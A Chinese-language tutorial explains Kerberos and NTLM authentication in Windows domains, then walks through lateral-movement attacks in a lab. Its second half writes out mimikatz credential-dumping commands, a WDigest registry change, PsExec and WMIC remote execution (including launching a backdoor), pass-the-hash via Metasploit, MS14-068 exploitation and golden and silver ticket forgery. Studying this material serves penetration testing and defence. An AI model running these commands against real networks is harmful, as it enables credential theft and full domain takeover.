文章目录
前言
上一篇文章 内网渗透-Windows域环境的初识与搭建 介绍了 Windows 域环境的基础概念和域环境的搭建演示,通过前面的学习也了解到,Windows 系统在工作组上你一切的设置在本机上进行包括各种策略,用户登录也是登录在本机的,密码是放在本机的数据库来验证的。而如果你的计算机加入域的话,各种策略是域控制器统一设定,用户名和密码也是放到域控制器去验证,也就是说你的账号密码可以在同一域的任何一台计算机登录。
也就是说,Windows 用户登录到域中的时候,身份验证是采用 Kerberos 协议在域控制器上进行的,而登录到此计算机则是通过 SAM(本机安全账户数据库)来进行 NTLM 验证的。 Kerberos 协议在在内网域渗透领域中至关重要,白银票据、黄金票据、攻击域控等都离不开 Kerberos 协议。本文将学习记录下 Windows 域环境下的身份认证机制( Kerberos 协议认证 和 NTLM 认证)以及基于 Windows 身份认证机制引发的内网横向渗透相关的攻击思路。
Kerberos协议
kerberos 协议是一种由 MIT (麻省理工大学) 提出的一种网络身份验证协议,它旨在通过使用加密技术为客户端 / 服务端应用程序提供强大的认证服务。Kerberos 一词来源于西方神话中守卫地狱之门的三头犬的名字,之所以使用这个名字是因为 Kerberos 需要三方的共同参与,才能完成一次事务处理。
Kerberos 协议主要用于计算机网络的身份鉴别(Authentication),其特点是用户只需输入一次身份验证信息就可以凭借此验证获得的票据(ticket-granting ticket)访问多个服务,即 SSO(single sign on)单点登录。在 Kerberos 认证中,最主要的问题是如何证明「你是你」的问题,如当一个 Client 去访问 Server 服务器上的某服务时,Server 如何判断 Client 是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性,这正是 Kerberos 解决的问题。
了解 Kerberos 真实的认证过程之前我们先给出两个重要的概念:
1、长期密钥:在安全领域中,有的密钥可能长期内保持不变,比如密码,可能几年都不曾改变。这样的密钥以及由此派生的其他密钥被称为长期密钥。长期密钥有这样的原则:被长期密钥加密的数据不应该在网络上传输。因为任何加密算法都不可能做到绝对保密,一旦这些被长期密钥加密的数据包被黑客截获,在理论上,只要有充足的时间,都是可以通过计算获得用户用于加密的密钥的。
对于一个账户来说,密码仅限于该账户的所有者知晓,甚至对于管理员都应该是保密的。但是密码却又是证明身份的凭据,所以必须通过基于密码的派生信息来证明用户的真实身份,在这种情况下,一般将账户密码进行 Hash 运算得到一个 Hash 值,也可以称之为主密钥。由于 Hash 算法是不可逆的,同时可以保证密码和主密钥派生的确定性,这样既保证了密码的保密性,同时又保证主密钥和密码本身在证明用户身份时具有相同的效力。
2、短期密钥:由于被长期密钥加密的数据包不能在网络上传送,所以需要使用另一种密钥来加密需要进行网络传输的数据。这种密钥只在一段时间内有效,即使加密过的数据包被黑客截获,等他把密钥计算出来的时候,这个密钥早就已经过期了。我们把这种密钥称为短期密钥。
Kerberos 协议认证过程实际上就是在网络身份认证中使用了短期密钥来替代长期密钥(用户的账户密码),从而规避传输用户密码导致存在敏感信息被窃取的风险。
kerberos 认证框架
Kerberos 协议的认证框架和流程大致可用下图表示:
相关概念术语如下:
概念 | 释义 |
---|---|
域控制器,Domain Controller | 简称 DC,一台计算机,实现用户、计算机的统一管理 |
密钥分发中心,Key Distribution center | 简称 KDC ,在域环境中,KDC 服务默认会安装在域控中,包括 AS 和 TGS |
活动目录,Active Directory | 简称 AD,用于存储用户、用户组、域相关的信息 |
身份验证服务, Authentication Service | 简称 AS,用于 KDC 对 Client 认证 |
票据授权票据,Ticket Granting ticket | 简称 TGT,由 KDC 的 AS 发放,客户端获取到该票据后,以后申请其他应用的服务票据 (ST) 时,就不需要向 KDC 的 AS 提交身份认证信息 (credential),TGT 具有一定的有效期 |
票据授予服务,Ticket Grantng Service | 简称 TGS,用于 KDC 向 Client 和 Server 分发 Session Key(临时秘钥) |
服务票据,Service Ticket | 简称 ST,由 KDC 的 TGS 发放,是客户端应用程序访问 Server 某个服务的凭证,Server 端验证通过则完成 Client 与 Server 端信任关系的建立 |
验证器,Authenticator | 不能重复使用,与票据(时效内能重复使用)结合用来证明 Client 声明的身份,防止票据被冒用 |
由简到繁地去梳理以上术语的关系:
- 首先 Client 想要访问 Server 的某个服务,就需要通过 KDC 的认证,获取到服务票据(ST),服务会验证服务票据(ST)来判断 Client 是否通过了 KDC 认证;
- 为了避免 Client 每次访问 Server 的服务都要向 KDC 认证 (输入密码),KDC 设计时分成了两个部分,一个是 AS,另一个是 TGS,AS 接收 Client 的认证信息,认证通过后给 Client 发放一个可重复使用的票据 TGT,后续 Client 使用这个 TGT 向 TGS 请求 ST 即可。
下面深入讨论下在 Windows 域环境中 Kerberos 协议的认证流程,理解下 Kerberos 协议如何使用短期密码替代长期密码进行身份认证。
第1步-AS认证获取TGT
客户端请求
Client 向 KDC 的 AS 发起认证请求,身份认证信息包含两部分:
- 第一部分:用户密码 hash (user_hash) 加密的 timestamp 预认证信息 pre-authentication data;
- 第二部分:用户名 (user)、客户端信息 (client info)、服务名 (krbtgt) 等未加密信息。
服务端响应
服务端将生成并返回两部分信息:
- 第一部分:生成 session key,域控中存储了域中所有用户密码 hash(user_hash),KDC 的 AS 依据用户名查找相应的 user_hash,成功解密预认证信息,验证客户端通过,然后会生成一个 sessionkey-TGS (由AS 会用 user_hash 加密 session key 形成,后续用于加密 Client 与 TGS 通信);
- 第二部分:生成票据授权票据 TGT,TGT 由 krbtgt hash 加密的 sessionkey-TGS、user、client info、lifetime、timestamp 等信息组成。
此处需要注意两点:
- krbtgt 账户是创建域时系统自动创建的,可以认为是为了 kerberos 认证服务而创建的账号;
- 票据授权票据 TGT 是 KDC 加密的,Client 无法解密,并且具有有效期,客户端用其向 TGS 请求 ST。
AS 用 user_hash 加密 sessionkey-TGS,与 TGT 一起生成 REP 响应发送给客户端。客户端解密响应成功说明数据包是 KDC 发送来的,并且获得 sessionkey-TGS 以及 TGT,sessionkey-TGS 用于后续加密通信。
第2步-TGS认证获取ST
通过第一步,客户端解密 AS 的响应后,可以得到一个 sessionkey-TGS 以及 TGT。
客户端请求
接下来用户想访问 Aservice 服务,于是向 TGS 请求访问 Aservice 的 ST。首先客户端会生成验证器 Authenticator,内容包含 user、client info、lifetime、timestamp 信息,并且用 sessionkey-TGS 加密。客户端将验证器、Aservice 信息、TGT 发送给 TGS 请求获取 ST。
服务端响应
TGS 收到客户端请求,会先利用 krbtgt hash 解密 TGT,获取到 sessionkey-TGS,user、client info 等信息,然后利用 sessionkey-TGS 解密验证器,校验验证器和 TGT 中的 user 信息,如果一致,则说明该请求符合 TGT 中声明的用户,该用户是通过 AS 认证的。接着 TGS 会生成 session key 以及 ST:
- TGS 会为用户 user 和服务 Aservice 之间生成新的会话密钥 sessionkey-Aservice,并用 sessionkey-TGS 加密 sessionkey-Aservice;
- TGS 会生成一个 ST,内容包含 user、client info、lifetime、timestamp、sessionkey-Aservice,ST 用 Aservice 的 service_hash 加密。
最后 TGS 将 sessionkey-TGS 加密后的 sessionkey-Aservice 以及 service_hash 加密的 ST 响应给客户端。
【注意】验证器 Authenticator 只能使用一次,是为了防止 TGT 被冒用。kerberos 设计之初,产生票据的概念就是为了避免重复的常规密码验证,因为票据在有效期内可以重复使用。为了避免冒用,设计出 session key 以及 Authenticator。session key 只有真正的客户端、服务知道,利用 session key 加密验证器,服务就可以解密对比验证器以及票据中声明的用户、客户端信息是否一致,一致说明票据来自可信客户端。
第3步-服务端服务认证
通过第二步,Client 获取到 sessionkey-Aservice 以及 ST,接下来 Client 利用 sessionkey-Aservice 加密 Authenticator,连同 ST 去请求 Server 的 Aservice。Aservice 利用自己的 service_hash 解密 ST,获得 sessionkey-Aservice,再解密 Authenticator 验证 Client 声明的 user 信息,通过认证后 Aservice 还需要用 sessionkey-Aservice 加密一段信息返回给 Client,Client 利用 sessionkey-Aservice 解密成功说明 Aservice 用自己 service_hash 成功解密出了 sessionkey-Aservice,是可信服务端。
至此,kerberos 认证流程完成,Client 可访问 Aservice 提供的服务。
NTLM 认证
NTLM 认证采用质询 / 应答 (Challenge/Response) 的消息交换模式。NTLM 既可用于域环境下的身份认证,也可以用于没有域的工作组环境。主要有本地认证和网络认证两种方式。
本地认证模式
用户登陆 Windows 时,Windows 首先会调用 winlogon.exe 进程接收用户输入的密码,之后密码会被传递给 lsass.exe 进程,进程会先在内存中存储一份明文密码,并将密码加密为 NTLM hash,与本地 SAM 数据库中用户的 NTLM hash 对比,一致则登陆成功。
网络认证模式
如下为 NTLM 域环境中网络认证流程。
第一步:首先用户输入正确用户密码登陆到客户端主机,用户想要访问某个服务器的服务,客户端先发送一个包含用户名明文的数据包给服务器,发起认证请求。
第二步:服务器生成一个随机数,称为 Challenge,返回给客户端。
第三步:客户端接收到 Challenge 后,用密码 hash 加密,生成 Response,发送给服务。
第四步:服务将 Response、用户名、Challenge 发送给域控验证。域控使用本地数据库 (NTDS.dit) 中保存的对应用户的 NTLM hash 对 Challenge 进行加密,得到的结果与 Response 进行对比,一致则认证成功。然后将认证结果返回给服务端。
内网横向渗透
以 Kerberos 认证为代表的 Windows 身份认证系统并不是天衣无缝的,这其中也会有各种漏洞能够被我们利用,比如我们常说的 MS14-068、黄金票据、白银票据等就是基于 Kerberos 协议进行攻击的。下面我们便来大致介绍一下 Kerberos 认证中的相关安全问题,以及如何利用对应的安全问题进行内网横向渗透。
哈希凭证窃取
Windows 系统下的用户密码 hash 通常指的是 Security Account Manager 中保存的用户密码 Hash,也就是 SAM 文件中的 Hash。而在 Windows 域环境中,用户信息存储在 ntds.dit 中,加密后为散列值。
Windows 操作系统中的密码一般由两部分组成,一部分为 LM Hash,另一部分为 NTLM Hash。
- LM Hash 的全名为 “LAN Manager Hash”,是早期微软为了提高 Windows 操作系统的安全性而采用的散列值加密算法,其本质是 DES 加密。尽管 LM Hash 比较容易破解,但是为了保证系统的兼容性,Windows 只是将 LM Hash 禁用了。如果 LM Hash 被禁用了,攻击者通过工具抓取的LM Hash值通常是 “
aad3b435b51404eeaad3b435b51404ee
” (表示LM Hash值为空或者被禁用)。 - NTLM Hash 是微软为了在提高安全性的同时保证兼容性而设计的散列加密算法。NTLM Hash 是基于 MD4 加密算法进行加密的。个人版从Windows Vista 以后,服务器版从Windows Server 2003以后,Windows 操作系统的认证方式均为 NTLM Hash,默认禁用 LM Hash。
要想在 Windows 操作系统中抓取散列值或明文密码,必须将权限升级至 System。窃取凭据来帮助在域内横向移动,一旦获取的密码在内网中是通用的,将会方便横向移动获取目标权限。
Mimikatz工具
Mimikatz 是一款 Windows 平台下的神器,它具备很多功能,其中最亮眼的功能是直接从 lsass.exe 进程里获取 Windows 处于 active 状态账号的明文密码。
【Mimikatz 读取明文密码原理】在 Windows 中,当用户登录时,lsass.exe 使用一个可逆的算法加密明文,并会将密文保存在内存中,Mimikatz 就是通过抓取内存去还原明文,项目地址:
https://github.com/gentilkiwi/mimikatz
。
Mimikatz 读取明文密码和 hash 需要管理员权限,需要执行的命令是:
privilege::debug //提升至debug权限
sekurlsa::logonpasswords //抓取密码
简单的读取效果如下:
当目标为 Win10 或 2012R2 以上时,默认在内存缓存中禁止保存明文密码,但可以通过修改注册表的方式抓取明文。CMD 修改注册表命令:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
哈希窃取场景
下面分析下如何从几种不同的场景中读取(窃取)Windows 系统用户密码的哈希值。
1、从内存直接 dump 出 hash
如下在 cmd 运行 mimikatz.exe,在 mimikatz 会话中执行 privilege::debug
和 sekurlsa::logonpasswords
:
可读取出用户的密码哈希值和明文:
2、从 SAM 中的读取 hash
先导出 sam,mimikatz 读取 (本地用户 ate/Aa123456):
mimikatz 读取:
3、从域控中的 NTDS.dit 读取 hash
如下,读取 testdomain\test1 账户的密码 Aa123456 的 hash。域中先利用 ntdsutil 导出 NTDS.dit,SYSTEM 和 SECURITY 文件。
导出文件的位置:
利用 NTDSDumpEx 查看,如下:
内网远程连接
在渗透测试中,拿到目标机器的用户明文密码或者 NTLM Hash 后,可以用 Windows 自带的方法对远程目标系统进行命令行下的连接操作,连接远程主机并执行相关命令;也可以通过 哈希传递攻击 PTH 的方法,将散列值或明文密码传递到目标机器中进行验证,先来介绍下前者。
建立IPC连接
IPC$ (Internet Process Connection) 是 NT2000 的一项新功能,IPC 可以通过验证用户名和密码获得相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。通过 IPC$,可以与目标主机建立连接,利用这个连接,不仅可以访问目标机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
建立 IPC$ 连接的两个条件:
- 目标主机开启了 139 和 445 端口;
- 目标主机管理员开启了 ipc$ 默认共享。
IPC 连接的命令:
net use \\<DC的IP>\ipc$ "password" /user:"username"
net use \\192.168.183.130\ipc$ "Liu78963" /user:"administrator"
net user //查看当前主机所建立的连接
1、如下图,我们成功让 Win7 与 DC 建立 IPC 连接:
2、之后我们便可以通过 Win7 访问目标机器 DC 中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令了。比如列出 DC 主机上 C 盘的目录:dir \\192.168.183.130\c$
,如下图:
3、再如将文件复制到目标主机 DC 的 C 盘上面去 (在实战中,我们可以将木马程序复制到目标主机上去):
copy C:\Users\douser\Desktop\whoami.txt \\192.168.183.130\c$
效果如下:
PsExec 连接
PsExec 是一个轻量级的 telnet 替代品,它允许您在其他系统上执行进程,并为控制台应用程序提供完整的交互性,psexec下载地址。它是 Windows 下非常好的一款远程命令行工具,其使用不需要对方主机开方 3389 端口,只需要对方开启 admin$ 共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec 也是不能使用的,会提示找不到网络路径。由于 PsExec 是 Windows 提供的工具,所以杀毒软件将其列在白名单中。
PsExec的基本原理:
- 通过 ipc$ 连接,释放二进制文件 psexecsvc.exe 到目标;
- 通过服务管理 SCManager 远程创建一个 psexec 服务,并启动服务;
- 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据;
- 运行结束后删除服务。
PsExec的使用前提:
- 对方主机开启了 admin$ 共享,如果关闭了 admin$ 共享,会提示:找不到网络名;
- 对方主机未开启防火墙;
- 如果是工作组环境,则必须使用 administrator 用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非 administrator 用户)登录都会提示访问拒绝访问;
- 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接,连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。
通过以下命令可返回一个交互 Shell:
psexec.exe -accepteula \\10.1.1.1 -u administrator -p abc123! -s cmd.exe
解释下命令参数:
参数 | 释义 |
---|---|
-accepteula | 第一次运行psexec会弹出确认框,使用该参数就不会弹出确认框 |
-u / -p | 显然,用户名 / 密码 |
-s | 以 system 权限运行运程进程,获得一个 system 权限的交互式shell。如果不使用该参数,会获得一个连接所用用户权限的shell |
1、执行如上命令后,我们就可以获的目标主机 DC 的 System 权限的Shell:
2、这里如果我们提前与目标机建立了基于 administrator 用户的 ipc 连接,那么我们可以不用指定用户名和密码,直接执行命令PsExec.exe -accepteula \\192.168.183.130 cmd.exe
连接即可。同时不仅可以用 PsExec 得到目标主机的 Shell,也可以直接执行命令:
【注意】在使用 psexec 执行远程命令时,会在目标系统中创建一个 psexec 服务。命令执行后,psexec 服务将会被自动删除。由于创建或删除服务时会产生大量的日志,所以会在攻击溯源时通过日志反推攻击流程。
WMI远程连接
WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的 Windows 管理技术,用户可以使用 WMI 管理本地和远程计算机。从 Windows 98 开始,Windows 操作系统都支持 WMI。 WMI 通过使用端口 135上 的远程过程调用 (RPC) 进行通信以进行远程访问(以及以后的临时端口), 它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。因此使用 WMIC 连接远程主机,需要目标主机开放 135 和 445 端口(135 端⼝是 WMIC 默认的管理端⼝,而 wimcexec 使⽤445端⼝传回显)。
自从 PsExec 在内网中被严格监控后,越来越多的反病毒厂商将 PsExec 加入了黑名单,于是攻击者逐渐开始使用 WMI 进行横向移动。通过渗透测试发现,在使用 wmiexec 进行横向移动时,Windows 操作系统默认不会将 WMI 的操作记录在日志中,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。因为在这个过程中不会产生日志,所以,对网络管理员来说增加了攻击溯源的成本。而对攻击者来说,其恶意行为被发现的可能性有所降低、隐蔽性有所提高。由此,越来越多的 APT 开始使用 WMI 进行攻击,利用 WMI 可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。
1、用 WMIC 命令可以开启远程计算机的远程桌面连接:
wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
2、用 WMIC 命令可以查询远程进程信息:
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief
如下图所示:
3、用 WMIC 命令可以远程创建进程,如下,以 administrator 用户连接192.168.183.130(DC),并在机器上创建一个进程执行 ipconfig 命令,将结果写入C:\result.txt
文本文件中(由于wmic执行远程命令没有回显,所以要将结果写入到txt中):
wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt"wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt"wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe"
这里如果我预先与目标主机建立了 ipc$ 连接,所以就不需要在 wmic 指定 /user 和 /password 了。然后,由于 wmic 执行远程命令没有回显,所以在建立 ipc$ 连接后,使用 type 命令远程读取 192.168.52.138 上的执行结果:
如上图所示,命令执行成功了。使用 WMIC 远程执行命令,在远程系统中启动 WMIC 服务(目标服务器需要开放其默认 135 端口,WMIC 会以管理员权限在远程系统中执行命令)。如果目标服务器开启了防火墙,WMIC 将无法连接。另外由于 wmic 命令没有回显,需要使用 IPC$ 和 type 命令来读取信息。需要注意的是,如果 WMIC 执行的是恶意程序,也不会留下日志。
哈希传递攻击
在 kerberos、NTLM 认证过程的关键,首先就是基于用户密码 Hash 的加密,所以在域渗透中,无法破解用户密码 Hash 的情况下,也可以直接利用 Hash 来完成认证,达到攻击的目的,这就是 hash 传递攻击(Pass The Hash,简称 PTH)。如果内网主机的本地管理员账户密码相同,那么可以通过 PTH 远程登录到任意一台主机,操作简单、威力无穷。
在域环境中,利用哈希传递攻击的渗透方式往往是这样的:
- 获得一台域主机的权限,Dump 内存获得该主机的用户密码 Hash 值;
- 通过哈希传递攻击尝试登录其他主机;
- 继续搜集 Hash并尝试远程登录,直到获得域管理员账户 Hash,登录域控,最终成功控制整个域。
使用 Mimikatz 进行 PTH
1、首先攻击者在跳板机 Windows 7 上面上传 mimikatz,并用 mimikatz 抓取 Hash:
privilege::debug
sekurlsa::logonpasswords
执行结果如图:
2、如上图,成功抓取到域管理员的 NTLM Hash:4d6e43b2cdc951808100f5b1d09aac63
,然后在 Windows 7 上继续用 mimikatz 将获取的 Administrator 的 Hash 添加进 lsass 中:
privilege::debug
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:4d6e43b2cdc951808100f5b1d09aac63
执行结果如果:
3、以上执行成功,此时会自动弹出一个新的 shell,这时访问远程主机或服务,就不用提供明文密码了,如下,我们列出了域控制器OWA的c盘目录(要使用主机名,不能用IP,否则报错):
之后攻击者便可以利用 Windows7 跳板机任意访问内网其他机器中的文件,进行上传、下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构、用户列表等信息。
使用 Metasploit 进行 PTH
1、在 Metasploit 中,经常使用的模块有:
auxiliary/admin/smb/psexec_command //在目标机器上执行系统命令
exploit/windows/smb/psexec //用psexec执行系统命令
exploit/windows/smb/psexec_psh //使用powershell作为payload
2、以exploit/windows/smb/psexec
模块哈希传递攻击 Windows Server 2003 为例(设置smbuser、smbpass、smbdomain):
use exploit/windows/smb/psexec
set rhosts 192.168.52.141
set smbuser administrator
set smbpass 00000000000000000000000000000000:4d6e43b2cdc951808100f5b1d09aac63
set smbdomain god
run
具体操作如图:
如上图攻击成功,得到 Windows Server 2003 的shell。注意这里的 smbpass 选项,其可以为明文密码,也可以为 Hash,但 Hash 必须是完整的,如果不知道前面的 LM Hash 部分,可以像上面那样用 0 代替。
票据传递攻击
上面我们所讲的哈希传递攻击 PTH 是适用于 NTLM 认证和 Kerberos协 议认证的,而接下来我们要讲的票据传递攻击 PTT 是基于 Kerberos 协议进行攻击的,Kerberos 协议在文章的开头已经讲过了,请务必细细理解其中的奥妙!
我们在渗透测试中,要使用哈希传递攻击,则必须要获取目标机器的管理员权限,如果没有管理员权限,我们不妨用用 PTT。在票据传递攻击(PTT)中,我们常用的有 MS14-068、黄金票据、白银票据。其中 MS14-068 可用来横向获取域内主机权限,黄金票据、白银票据则可以用来对域控进行权限维持。
MS14-068
MS14-068 漏洞允许攻击者将未经授权的域用户帐户的权限,提升到域管理员帐户的权限(微软官方 MS14-068 的漏洞公告)。攻击者必须有有效的域凭据才能利用此漏洞,拥有域凭据的标准用户帐户可以远程使用受影响的组件,只有本地帐户凭据的用户则不能。
漏洞利用原理
通过身份验证的域用户可以向 Kerberos KDC 发出伪造的 Kerberos 票证,声称该用户就是域管理员。Kerberos KDC 在处理来自攻击者的请求时,会不恰当地验证伪造的票证签名,从而让攻击者能利用域管理员的身份来访问网络上的任何资源。
漏洞利用前提
- 域控主机没有打 MS14-068 的补丁(KB3011780);
- 攻击者拿下了一台域内的普通计算机,并获得普通域用户以及密码 / hash值,以及用户的 suid。
漏洞复现演示
实验环境如下:
域控制器(DC) windows 2008 R2 st13.com 192.168.10.146
域内机器 windows 7 192.168.10.129
Ms14-068.exe 下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
PSexec下载地址:https://github.com/crupper/Forensics-Tool-Wiki/blob/master/windowsTools/PsExec64.exe
1、首先在域控主机检测是否有 MS14-068 这个漏洞:通过执行systeminfo
命令来查看是否打补丁 (KB3011780) 来判断是否存在漏洞,下图可以看到没有打 MS14-068 漏洞相关的补丁:
2、在 Win7 上面测试该漏洞,Win7 用普通域用户登录,测试访问域控的 C盘共享,访问被拒绝:
3、为了使我们生成的票据起作用,首先我们需要将内存中已有的 kerberos 票据清除,清除方法使用 mimikatz 工具:
4、使用whoami/all
查看本机用户的 ID :
5、利用 ms14-068.exe 提权工具生成伪造的 kerberos 协议认证证书:
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
如下图所示:
6、利用 mimikatz.exe 将证书写入,从而提升为域管理员:
7、再次列出域控制器的 C 盘目录,成功访问域控的 C 盘,说明普通域用户提权成功:
8、使用 PSTools 目录下的 PsExec.exe 获取 shell,#psexec.exe 以管理员权限运行连接域控:
接下来可以在域控上做任何操作了。
黄金票据
在 Windows 的 kerberos 认证过程中,Client 将自己的信息发送给 KDC,然后 KDC 使用 Krbtgt 用户的 NTLM-Hash 作为密钥进行加密,生成 TGT。那么如果获取到了 Krbtgt 的 NTLM-Hash 值,不就可以伪造任意的 TGT 了吗?因此使用 krbtgt 用户 Hash 生成的票据被称为黄金票据(Golden Ticket),此类攻击方法被称为票据传递攻击。
因为 Krbtgt 只有域控制器上面才有,所以使用黄金凭据意味着你之前拿到过域控制器的权限,黄金凭据可以理解为一个后门。先假设这么一种情况,原先已拿到的域内所有的账户 Hash,包括 Krbtgt 这个账户,由于有些原因导致你对域管权限丢失,但好在你还有一个普通域用户权限,碰巧管理员在域内加固时忘记重置 Krbtgt 密码,基于此条件,我们还能利用该票据重新获得域管理员权限。利用 Krbtgt 的 Hash 值可以伪造生成任意的 TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。
攻击者再使用黄金票据进行票据传递攻击时,通常要掌握以下信息:
- 需要伪造的域管理员用户名;
- 完整的域名;
- 域 SID;
- krbtgt 的 NTLM Hash。
下面演示的案例基于以下网络拓扑:
域成员主机:Windows 7(192.168.183.131)
域名:DEMO.com
用户名:douser
域控制器:192.168.183.130
域名:DEMO.com
用户名:administrator
1、首先我们登上域控,上传 mimikatz,然后执行如下命令抓取 krbtgt 用户的 Hash 值并获取域 SID 信息:
privilege::debug
lsadump::lsa /patch
结果如下(得到 krbtgt 用户的 Hash为:7c4ed692473d4b4344c3ba01c5e6cb63
,域 sid 为 S-1-5-21-979886063-1111900045-1414766810
):
2、然后我们切换到普通域用户的机器 Windows7,用 mimikatz 生成名为 ticket.kirbi 的 TGT 凭证,用户名为 administrator:
kerberos::golden /user:administrator /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /krbtgt:7c4ed692473d4b4344c3ba01c5e6cb63 /ticket:ticket.kirbi
kerberos::golden /user:需要伪造的域管理员用户名 /domain:demo.com /sid:域sid /krbtgt: krbtgt用户的Hash /ticket:ticket.kirbi
如下图所示:
3、生成 TGT 凭证 ticket.kirbi 成功,名为 ticket.kirbi,然后使用 mimikatz 将凭证 ticket.kirbi 注入进去:
kerberos::ptt ticket.kirbi
kerberos::ptt <票据文件>
如下图所示:
4、此时执行命令kerberos::tgt
查看当前会话中的票据,就可以发现刚刚注入的票据在里面了:
5、到此注入成功。输入 exit 可退出 mimikatz。此时攻击者就可以利用 Windows 7 任意访问域控,可以使用 net use 进行登录:
也可以使用 psexec,wmi 等方法进行远程执行命令了,具体操作不再演示,相比 ms14-068,黄金票据可以当做一个按在普通域成员主机上的连接到域控的后门。
白银票据
白银票据 (Silver Tickets) 是指伪造的服务票据 (ST),只能用来访问特定的服务,通过 Kerberos 的认证原理得知 ST 是由 TGS 颁发的,使用了服务的密码 hash 加密,所以在伪造银票的时候需要知道服务的密码 Hash。因为在票据生成过程中不需要使用 KDC,所以可以绕过域控制器,很少留下日志。而黄金票据在利用过程中由 KDC 颁发 TGT,并且在生成伪造的 TGT 得 20 分钟内,TGS 不会对该 TGT 的真伪进行效验。白银票据依赖于服务账号的密码散列值,这不同于黄金票据利用需要使用 Krbtgt 账号的密码哈希值,因此更加隐蔽。
攻击者要利用白银票据进行票据传递攻击,需要掌握下面几个信息:
域名
域 SID
目标服务器的 FQDN
可利用的服务
服务账号的 NTLM Hash
要伪造的用户名
下面我们使用白银票据伪造 CIFS 服务权限,CIFS 服务通常用于 Windows 主机之间的文件共享。
1、首先,登录域控,抓取机器账号的 Hash:
privilege::debug
sekurlsa::logonpasswords
执行结果如下:
2、以上得到计算机账号的 Hash 为:f0954d00b21d338aa86051eca90f7f74
(注意是 WIN-ENS2VR5TR3N$ 用户的 NTLM-Hash,不是 Administrator 用户,因为要利用共享服务账号),然后切换到普通域用户机器 Windows7 中,使用 mimikatz 生成伪造的白银票据:
kerberos::golden /domain:DEMO.com /sid:S-1-5-21-979886063-1111900045-1414766810 /target:WIN-ENS2VR5TR3N.DEMO.com /rc4:f0954d00b21d338aa86051eca90f7f74 /service:cifs /user:douser /ptt
参数释义:
参数 | 释义 |
---|---|
/sid | 域的 SID 值 |
/rc4 | server 机器的 hash |
/service | 可利用的服务,这里是 cifs |
/user | 要伪造的用户名,任意填写 |
/target | 域控制器名,即FQDN(全称) |
执行结果如下:
3、成功生成了伪造的白银票据,此时进行权限验证:
dir \\WIN-ENS2VR5TR3N.demo.com\c$ // 机器名要全称,注意是全称
如下,发现已经可以访问域控制器的共享目录了:
总结
概括下一个域渗透的思路:
一个具有一定规模的企业,每天都可能面临员工入职和离职,因此网络管理部门经常需要对域成员主机进行格式化消除磁盘的文件,然后重装系统及软件,以提供给新员工使用;因此,为了便于后期交接,大多网络管理员会做好一个系统镜像盘,统一安装所有的电脑,并且在安装的时候设置惯用、甚至统一的密码。
因此,域中的计算机本地管理员账号,极有可能能够登陆域中较多的计算机,本地管理员的密码在服务器上后期修改的概率,远低于在个人办公电脑上的概率,而域用户权限是较低的,是无法在域成员主机上安装软件的,这将会发生下面的一幕:
某个域用户需要使用 viso 软件进行绘图操作,于是联系网络管理员进行安装,网络管理员采用域管理员身份登录了域成员主机,并帮助其安装了 viso 软件,于是这个有计算机基础的员工,切换身份登录到了本地计算机的管理员,后执行 mimikatz,从内存当中抓取了域管理员的密码,便成功的控制了整个域。
因此,域渗透的思路就是:通过域成员主机,定位出域控制器 IP 及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机 IP,设法从域成员主机内存中 dump 出域管理员密码,进而拿下域控制器、渗透整个内网。
本文参考文章: